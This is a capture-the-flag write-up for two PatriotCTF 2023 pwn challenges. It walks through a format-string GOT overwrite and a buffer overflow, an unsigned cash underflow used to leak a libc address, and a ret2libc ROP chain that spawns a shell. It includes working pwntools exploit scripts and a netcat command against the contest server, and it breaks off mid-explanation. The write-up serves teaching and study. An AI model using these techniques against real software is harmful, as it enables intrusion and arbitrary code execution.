PatriotCTF 2023
pwn/printshop
The Challenge
1
2
3
That print shop down the road is useless, can you make it do something interesting?
Attachment : printshop
The Solution
The name “print” shop suggests that it might have something do to with the printf function. Maybe a format string vulnerability?
When we download the binary and run it locally:
1
2
3
4
5
6
7
8
9
$ ./printshop
Welcome to the Print Shop!
What would you like to print? >> gimme the flag
Thank you for your buisness!
gimme the flag
we see that its just printing whatever we give as input.
If we load the binary in gdb and disassemble the main method we get the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000401344 <+0>: endbr64
0x0000000000401348 <+4>: push rbp
0x0000000000401349 <+5>: mov rbp,rsp
0x000000000040134c <+8>: sub rsp,0x70
0x0000000000401350 <+12>: mov rax,QWORD PTR fs:0x28
0x0000000000401359 <+21>: mov QWORD PTR [rbp-0x8],rax
0x000000000040135d <+25>: xor eax,eax
0x000000000040135f <+27>: lea rax,[rip+0xcd9] # 0x40203f
0x0000000000401366 <+34>: mov rdi,rax
0x0000000000401369 <+37>: call 0x4010e0 <puts@plt>
0x000000000040136e <+42>: lea rax,[rip+0xceb] # 0x402060
0x0000000000401375 <+49>: mov rdi,rax
0x0000000000401378 <+52>: mov eax,0x0
0x000000000040137d <+57>: call 0x401110 <printf@plt>
0x0000000000401382 <+62>: mov rdx,QWORD PTR [rip+0x2d07] # 0x404090 <stdin@GLIBC_2.2.5>
0x0000000000401389 <+69>: lea rax,[rbp-0x70]
0x000000000040138d <+73>: mov esi,0x64
0x0000000000401392 <+78>: mov rdi,rax
0x0000000000401395 <+81>: call 0x401130 <fgets@plt>
0x000000000040139a <+86>: lea rax,[rip+0xce7] # 0x402088
0x00000000004013a1 <+93>: mov rdi,rax
0x00000000004013a4 <+96>: call 0x4010e0 <puts@plt>
0x00000000004013a9 <+101>: lea rax,[rbp-0x70]
0x00000000004013ad <+105>: mov rdi,rax
0x00000000004013b0 <+108>: mov eax,0x0
0x00000000004013b5 <+113>: call 0x401110 <printf@plt>
0x00000000004013ba <+118>: mov edi,0x0
0x00000000004013bf <+123>: call 0x401160 <exit@plt>
End of assembler dump.
gdb-peda$
There are a few interesting things we can observe:
Usage of
fgets
:1 2 3 4 5
0x0000000000401382 <+62>: mov rdx,QWORD PTR [rip+0x2d07] # 0x404090 <stdin@GLIBC_2.2.5> 0x0000000000401389 <+69>: lea rax,[rbp-0x70] 0x000000000040138d <+73>: mov esi,0x64 0x0000000000401392 <+78>: mov rdi,rax 0x0000000000401395 <+81>: call 0x401130 <fgets@plt>
We see that
fgets
is used to securely store 0x64 (100 in decimal) bytes fromstdin
torbp-0x70
. This rules out the possibility of a buffer overflow here.exit
instead of return:1 2
0x00000000004013bf <+123>: call 0x401160 <exit@plt> End of assembler dump.
Even if we had a buffer overflow, the main function is exiting instead of returning, which means that we can’t control the instruction pointer in any case.
Unusual way of using
printf
:1 2 3 4
0x00000000004013a9 <+101>: lea rax,[rbp-0x70] 0x00000000004013ad <+105>: mov rdi,rax 0x00000000004013b0 <+108>: mov eax,0x0 0x00000000004013b5 <+113>: call 0x401110 <printf@plt>
This translates to
printf(buffer);
instead ofprintf("%s", buffer);
which is the well known format string vulnerability.In fact the man page of
printf
itself explicitly warns against using code like this:Code such as printf(foo); often indicates a bug, since foo may contain a % character. If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.
Just to be sure let’s test it by adding a few format specifiers in our input:
1
2
3
4
5
6
7
8
9
$ ./printshop
Welcome to the Print Shop!
What would you like to print? >> %x %x %x
Thank you for your buisness!
8643b643 0 86300aa4
Yes it leaking values, which confirms that it is a simple case of format string vulnerability.
Since there is a call to exit
after our vulnerable printf
we can use this vulnerability to overwrite the GOT entry for exit with some other memory address.
But where exactly to jump to? Initially I was thinking about ROP chaining but that’s a bit too much for an “EASY” challenge. Then I looked at a few other functions in the binary:
1
2
3
4
5
6
7
8
9
10
$ nm printshop
000000000040038c r __abi_tag
0000000000404078 B __bss_start
00000000004040a8 b completed.0
...
00000000004040a0 B stderr@GLIBC_2.2.5
0000000000404090 B stdin@GLIBC_2.2.5
0000000000404080 B stdout@GLIBC_2.2.5
0000000000404078 D __TMC_END__
000000000040129d T win
win()
seems interesting. We don’t need to see its disassembly, its obvious from the name that this is the function we need to jump to.
Let’s throw a bunch of %p characters and see what values we are leaking:
1
2
3
4
5
6
7
8
$ python -c 'print("%p " * 20)' | ./printshop
Welcome to the Print Shop!
What would you like to print? >>
Thank you for your buisness!
0x7fd9c803b643 (nil) 0x7fd9c7f00aa4 0x1 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa20702520 (nil) (nil) (nil) 0x7fd9c826c730 (nil) 0xa4bd4f226a5b5000 0x1
We see an interesting pattern of repeating hex value: 0x70 0x25 0x20. They are nothing but ‘p’, ‘%’, ‘ ‘.
Basically we start leaking our own input from the 6th argument. At this point we have 2 choice:
Manually craft the payload
Use pwntools
Manual way
During the challenge I used the manual way of exploiting it.
Here is the exploit.py
script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys
import struct
EXIT_GOT = 0x404060
WIN = 0x40129d
payload = b''
payload += '%{}p'.format(str(WIN)).encode()
payload += b'%17$n'
payload += b'-' * ( 99 - len(payload) - 8 - 3 )
payload += struct.pack("Q", EXIT_GOT)
payload += b'\n'
sys.stdout.buffer.write(payload)
Run it against their server and wait for a little over 4 million characters to be printed until we get our flag
I know there are more efficient ways than printing 4 million characters, but what matters is it works.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python exploit.py | nc chal.pctf.competitivecyber.club 7997
Welcome to the Print Shop!
What would you like to print? >>
Thank you for your buisness!
...
0x7f3fed23b643--------------------------------------------------------------------------`@@PCTF{b4by_f0rm4t_wr1t3_6344792}
I’m not going to explain how I got to this solution because I myself would not recommend it. Instead use the pwntools method
If you are still interested in this solution, checkout this video
pwntools
During the challenge I didn’t know about this method, but I’m sharing it now because it is far better.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = process('./printshop')
exe = ELF('./printshop')
context.binary = exe
p.sendline(fmtstr_payload(
6, # Our input starts leaking from 6th argument
{
exe.got.exit : # Where to write
exe.symbols.win # What to write
}
))
print(p.clean())
p.close()
Run it (and optionally filter for the flag):
1
2
$ python exploit.py | grep -oE "PCTF{.*?}"
PCTF{b4by_f0rm4t_wr1t3_6344792}
FLAG
PCTF{b4by_f0rm4t_wr1t3_6344792}
pwn/bookshelf
The Challenge
1
2
3
Just finished up my project based around books! Hope you enjoy reading...
Attachment : bookshelf
The Solution
Hmm…nothing interesting, even the name bookshelf
doesn’t give any clue unlike the printshop
challenge. I guess we need to manually find out the vulnerability this time.
Let’s download the binary and run it.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./bookshelf
Welcome to the Book Shelf... _______
/ /,
BookShelf Management System / //
Version 1.0 /______//
(______(/
Grab yourself a coffee and enjoy some books!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>>
Apparently we can write, buy, or write (special) book.
3rd option seems interesting, let’s try that
1
2
3
4
5
6
7
8
9
10
>> 3
Unauthorized access: admins only!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>>
Ok that doesn’t work. Let’s try option 2
1
2
3
4
5
6
7
8
9
10
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >>
The Address of puts() - $9999999
That seems interesting, but we can’t read it since we only have $500
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 3
You don't have enough cash!
Thanks for you're buisness, would you like to leave a tip? (y/N) >> n
Oh... ok
And obviously we don’t want to leave a tip, that would further reduce our cash.
Do we have anything interesting in the other two books?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 1
A restless hacker named Holden Codefield discovered ROP and became obsessed with its power. He saw himself as a catcher in the ROP, navigating through memory addresses to seize control. His place in the world soon to reveal. The End.
Thanks for you're buisness, would you like to leave a tip? (y/N) >> n
Oh... ok
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $200|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!
Thanks for you're buisness, would you like to leave a tip? (y/N) >> n
Oh... ok
For viewing book 2 I guess we need to re run the program so that our cash is reset at $500.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
In the midst of the Roaring Twenties, extravagant parties corrupted Jay Gatsby's memory. Even with corrupted memory, Gatsby sought to change his past, but realized he'd never be able to find an exploit that rewrites the shattered dreams of lost love. The End.
Thanks for you're buisness, would you like to leave a tip? (y/N) >> N
Oh... ok
Here’s the two books:
A restless hacker named Holden Codefield discovered ROP and became obsessed with its power. He saw himself as a catcher in the ROP, navigating through memory addresses to seize control. His place in the world soon to reveal. The End.
In the midst of the Roaring Twenties, extravagant parties corrupted Jay Gatsby’s memory. Even with corrupted memory, Gatsby sought to change his past, but realized he’d never be able to find an exploit that rewrites the shattered dreams of lost love. The End.
Clearly they want us to do a ROP attack. Most probably ret2libc, since a lib.so.6
file has been attached with the program.
But for ret2libc first we need to have control over RIP right? As of now we haven’t found any buffer overflow.
Let’s check the first option
1
2
3
>> 1
Always great to see aspiring authors!
Is this book an audiobook? (y/N) >>
audiobook?
Let’s ignore this for now.
1
2
Is this book an audiobook? (y/N) >> N
Please write your book (40 chars max) >>
40 chars max……………..
I immediately spammed A * 100
at it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Please write your book (40 chars max) >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> Invalid option!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> Invalid option!
1) Write a book
2) Buy a book
...
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> Invalid option!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>>
Uh oh! That’s not what we want.
Let’s try writing an audiobook instead.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
>> 1
Always great to see aspiring authors!
Is this book an audiobook? (y/N) >> y
Please write your book (40 chars max) >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
>> Invalid option!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
>> Invalid option!
1) Write a book
...
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
>> Invalid option!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
>>
Oh interesting. You notice the difference?
Earlier there was (0)
infront of option 3, whereas now it is (65)
. Clearly some ‘A’ got overwritten there.
Nice. Let’s try writing the special book again to see if it works
1
2
3
4
>> 3
You're an admin so I trust that you will be responsible with writing this very special book...
>>
Yay! That worked, let’s try a buffer overflow here as well with the same A * 100
payload
1
2
3
4
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!
zsh: segmentation fault (core dumped) ./bookshelf
$
Phew! Finally a seg fault. This is again a good sign.
Let’s open the program in gdb and find the offset for RIP.
I will use cyclic
to generate the pattern
1
2
3
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
$ gdb bookshelf -q
Reading symbols from bookshelf...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in bookshelf)
gdb-peda$ b * adminBook +114
Breakpoint 1 at 0x401634
gdb-peda$ r
Starting program: /home/vulnx/CTFs/Patriot/bookshelf/bookshelf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Welcome to the Book Shelf... _______
/ /,
BookShelf Management System / //
Version 1.0 /______//
(______(/
Grab yourself a coffee and enjoy some books!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> 1
Always great to see aspiring authors!
Is this book an audiobook? (y/N) >> y
Please write your book (40 chars max) >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Book saved!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
>> Invalid option!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
>> Invalid option!
...
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (65)
4) Check out
>> 3
You're an admin so I trust that you will be responsible with writing this very special book...
>> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[----------------------------------registers-----------------------------------]
RAX: 0xc ('\x0c')
RBX: 0x7fffffffe6f8 --> 0x7fffffffea0b ("/home/vulnx/CTFs/Patriot/bookshelf/bookshelf")
RCX: 0x7ffff7d00aa4 (<write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x4052a0 ("Book saved!\nmin so I trust that you will be responsible with writing this very special book...\n")
RDI: 0x7ffff7e3c710 --> 0x0
RBP: 0x6161616e6161616d ('maaanaaa')
RSP: 0x7fffffffe5a8 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa\n")
RIP: 0x401634 (<adminBook+114>: ret)
R8 : 0x405715 --> 0x0
R9 : 0x0
R10: 0x0
R11: 0x202
R12: 0x0
R13: 0x7fffffffe708 --> 0x7fffffffea38 ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
R15: 0x403df8 --> 0x4011b0 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40162d <adminBook+107>: call 0x401090 <puts@plt>
0x401632 <adminBook+112>: nop
0x401633 <adminBook+113>: leave
=> 0x401634 <adminBook+114>: ret
0x401635 <main>: endbr64
0x401639 <main+4>: push rbp
0x40163a <main+5>: mov rbp,rsp
0x40163d <main+8>: sub rsp,0x30
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe5a8 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa\n")
0008| 0x7fffffffe5b0 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaa\n")
0016| 0x7fffffffe5b8 ("saaataaauaaavaaawaaaxaaayaaa\n")
0024| 0x7fffffffe5c0 ("uaaavaaawaaaxaaayaaa\n")
0032| 0x7fffffffe5c8 ("waaaxaaayaaa\n")
0040| 0x7fffffffe5d0 --> 0x6169000a61616179 ('yaaa\n')
0048| 0x7fffffffe5d8 --> 0x61336a6161 ('aaj3a')
0056| 0x7fffffffe5e0 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000401634 in adminBook ()
gdb-peda$
RBP: 0x6161616e6161616d (‘maaanaaa’)
1
2
3
$ cyclic -l maaanaaa
48
$
Ok, so the offset for RBP is 48, hence the offset for RIP must be 48 + 8 = 56.
Let’s attempt a buffer overflow and redirect code execution to 0x0a4242424242:
1
2
3
>>> 'A' * 56 + 'B' * 5
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB'
>>>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[----------------------------------registers-----------------------------------]
RAX: 0xc ('\x0c')
RBX: 0x7fffffffe6f8 --> 0x7fffffffea0b ("/home/vulnx/CTFs/Patriot/bookshelf/bookshelf")
RCX: 0x7ffff7d00aa4 (<write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x4052a0 ("Book saved!\nmin so I trust that you will be responsible with writing this very special book...\n")
RDI: 0x7ffff7e3c710 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe5b0 ("(AB): ", 'A' <repeats 37 times>, "3A")
RIP: 0xa4242424242 ('BBBBB\n')
R8 : 0x4056ee --> 0x0
R9 : 0x0
R10: 0x0
R11: 0x202
R12: 0x0
R13: 0x7fffffffe708 --> 0x7fffffffea38 ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
R15: 0x403df8 --> 0x4011b0 (<__do_global_dtors_aux>: endbr64)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xa4242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe5b0 ("(AB): ", 'A' <repeats 37 times>, "3A")
0008| 0x7fffffffe5b8 ('A' <repeats 35 times>, "3A")
0016| 0x7fffffffe5c0 ('A' <repeats 27 times>, "3A")
0024| 0x7fffffffe5c8 ('A' <repeats 19 times>, "3A")
0032| 0x7fffffffe5d0 ('A' <repeats 11 times>, "3A")
0040| 0x7fffffffe5d8 --> 0x4133414141 ('AAA3A')
0048| 0x7fffffffe5e0 --> 0x1
0056| 0x7fffffffe5e8 --> 0x7ffff7c23cd0 (mov edi,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000a4242424242 in ?? ()
gdb-peda$
Great! Code execution redirected.
So what have we concluded till now:
Apparently if we write an audiobook of 100 characters or so, some of our character will be overwritten to the variable which is used as a check in special book writing method, giving us admin access.
Once we get admin access, if we write 56+ bytes to the special book, we trigger a buffer overflow and redirect code execution.
That’s good, but where exactly to redirect to? Let’s see the function list for this binary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nm bookshelf
000000000040038c r __abi_tag
00000000004015c2 T adminBook
00000000004011e6 T banner
0000000000404040 B __bss_start
00000000004013a2 T buyBook
000000000040404c B cash
0000000000404048 b completed.0
0000000000404030 D __data_start
0000000000404030 W data_start
0000000000401140 t deregister_tm_clones
0000000000401130 T _dl_relocate_static_pie
00000000004011b0 t __do_global_dtors_aux
0000000000403df8 d __do_global_dtors_aux_fini_array_entry
0000000000404038 D __dso_handle
0000000000403e00 d _DYNAMIC
0000000000404040 D _edata
0000000000404050 B _end
U fgets@GLIBC_2.2.5
00000000004016ec T _fini
00000000004011e0 t frame_dummy
0000000000403df0 d __frame_dummy_init_array_entry
0000000000402920 r __FRAME_END__
U getchar@GLIBC_2.2.5
0000000000403fe8 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0000000000402764 r __GNU_EH_FRAME_HDR
0000000000401000 T _init
0000000000402000 R _IO_stdin_used
U __libc_start_main@GLIBC_2.34
0000000000401635 T main
U memset@GLIBC_2.2.5
000000000040124b T menu
U printf@GLIBC_2.2.5
U puts@GLIBC_2.2.5
0000000000401170 t register_tm_clones
0000000000401100 T _start
0000000000404040 B stdin@GLIBC_2.2.5
U strcat@GLIBC_2.2.5
U strcpy@GLIBC_2.2.5
0000000000404040 D __TMC_END__
00000000004012b7 T writeBook
$
There’s no specific win function. Which is obvious because our program wants us to do a ret2libc attack. The payload will be straight-forward:
1
2
3
pop rdi
address of '/bin/sh'
system()
But we know the address of none of these, because ASLR is enabled on their server, hence the base address, and subsequently all addresses of libc will be randomized.
To overcome this, if we can leak something from libc, we can perhaps use it to calculate the libc base at runtime. Then calculate memory locations of required gadgets and form the final payload.
But the question is how do we leak something from libc? Well the buyBook() function clearly had an option to print the address of puts() [ function from libc ]. The problem is, it requires cash to be at least $99999999, whereas it is hardcoded to be $500 initially.
Furthermore, the cash can only be decreased by buying some book/leaving a tip.
This is where I was scratching my head for a long time, how do I increase a variable when it can only be decreased.
After sometime I thought, “wait a minute, what if the cash is an unsigned integer.”
Unsigned integers are treated differently than signed integers by the computer. If an unsigned number’s value goes below zero, is is automatically wrapped to a very large number ( a little less than it’s highest possible value, depending on how much less it is from zero ).
TLDR … we need to spend as much cash as possible to get it below zero and see if it spikes up.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $500|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
In the midst of the Roaring Twenties, extravagant parties corrupted Jay Gatsby's memory. Even with corrupted memory, Gatsby sought to change his past, but realized he'd never be able to find an exploit that rewrites the shattered dreams of lost love. The End.
Thanks for you're buisness, would you like to leave a tip? (y/N) >> y
Yay! Thank you!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $65|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!
Thanks for you're buisness, would you like to leave a tip? (y/N) >> y
Yay! Thank you!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $55|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!
Thanks for you're buisness, would you like to leave a tip? (y/N) >> y
Yay! Thank you!
...
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $5|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 2
You don't have enough cash!
Thanks for you're buisness, would you like to leave a tip? (y/N) >> y
Yay! Thank you!
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>> 2
Want to buy an adventure on paperback?
Here's what we have in stock
======================================
|Cash balance: $4294967291|
1) The Catcher in the ROP - $300
2) The Great Hacksby - $425
3) The Address of puts() - $99999999
======================================
What do you want to read? >> 3
In the realm of bits and bytes, the audacious CTF player searched and searched, seeking something useful for their intellectual shenanigans. At long last, they had finally found it. For in the distance, in all it's glory 0x7f0a37875bf0 rested in slumber, it's image telling a story. The End.
Thanks for you're buisness, would you like to leave a tip? (y/N) >> N
Oh... ok
1) Write a book
2) Buy a book
3) Write a special book (ADMINS ONLY) (0)
4) Check out
>>
Look what we found….0x7f0a37875bf0 our libc leaked value!!!
Local exploit
Let’s write a script to automate the leaking process
Iteration | Action | Cash |
---|---|---|
0 | Initial | $500 |
1 | Buy $425 book Leave tip | $65 |
2 | Attempt to buy book Leave tip | $55 |
3 | Attempt to buy book Leave tip | $45 |
4 | Attempt to buy book Leave tip | $35 |
5 | Attempt to buy book Leave tip | $25 |
6 | Attempt to buy book Leave tip | $15 |
7 | Attempt to buy book Leave tip | $5 |
8 | Attempt to buy book Leave tip | $4294967291 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = process('./bookshelf')
# LEAK PUTS
log.info('Leaking puts')
for _ in range(8):
p.sendline(b'2') # Go to bookshop
p.sendline(b'2') # Buy/Attempt to buy a book
p.sendline(b'y') # Leave tip
p.sendline(b'2') # Go to bookshop
p.sendline(b'3') # Read value of puts()
p.sendline(b'N') # No need to leave any more tip
leak = p.clean() # Read everything till now
leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x')) # Filter the text for the memory address
puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))
p.close()
Let’s test it:
1
2
3
4
5
6
$ python exploit.py
[+] Starting local process './bookshelf': pid 421509
[*] Leaking puts
[+] Puts found @ 0x7f81e2275bf0
[*] Stopped process './bookshelf' (pid 421509)
$
It’s working, great!
For now, since we are developing a local exploit, let’s use our system’s libc file for reference and calculate the libc base address at runtime.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process('./bookshelf')
libc = ELF('/usr/lib/libc.so.6')
# LEAK PUTS
log.info('Leaking puts...')
for _ in range(8):
p.sendline(b'2') # Go to bookshop
p.sendline(b'2') # Buy/Attempt to buy a book
p.sendline(b'y') # Leave tip
p.sendline(b'2') # Go to bookshop
p.sendline(b'3') # Read value of puts()
p.sendline(b'N') # No need to leave any more tip
leak = p.clean() # Read everything till now
leak = b''.join(word for word in leak.split(b' ') if word.startswith(b'0x')) # Filter the text for the memory address
puts = int(leak, 16)
log.success('Puts found @ ' + hex(puts))
libc_base = puts - libc.symbols['puts']
log.success('libc base @ ' + hex(libc_base))
p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
$ python exploit.py
[+] Starting local process './bookshelf': pid 730033
[*] '/usr/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Leaking puts...
[+] Puts found @ 0x7f23aee75bf0
[+] libc base @ 0x7f23aee00000
[*] Stopped process './bookshelf' (pid 730033)
$
Good, let’s also automate the process to get admin rights.
1
2
3
4
5
6
7
8
9
...
# GET ADMIN ACCESS
p.sendline(b'1') # Write a book
p.sendline(b'y') # Write an audiobook
p.sendline(b'A' * 100) # Overwrite the admin access check variable.
p.close()
Now let’s craft the final payload to admin write buffer overflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...
# OVERFLOW ADMIN WRITE
log.info('Sending payload...')
p.sendline(b'3') # Write an admin book
## Prepare the payload
offset = 56
rop = ROP(libc)
payload = b''
payload += b'A' * offset
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh')) )
payload += p64( libc_base + libc.symbols['system'] )
# Since we are good programmers, let's also add a clean exit after buffer overflow :P
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( 0 )
payload += p64( libc_base + libc.symbols['exit'] )
p.sendline(payload)
log.success('Sent')
p.clean()
p.interactive()
Let’s test it…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python exploit.py
[+] Starting local process './bookshelf': pid 1811608
[*] '/usr/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Leaking puts...
[+] Puts found @ 0x7f39c4275bf0
[+] libc base @ 0x7f39c4200000
[*] Sending payload...
[*] Loaded 214 cached gadgets for '/usr/lib/libc.so.6'
[+] Sent
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './bookshelf' stopped with exit code -11 (SIGSEGV) (pid 1811608)
[*] Got EOF while sending in interactive
Wait what?! This should have worked right? Our ROP chain is perfect, also all offsets are correct, so why didn’t it work.
During the challenge, I couldn’t think of anything, so I changed the ROP chain from system('/bin/sh')
to execve('/bin/sh', 0, 0)
and it worked.
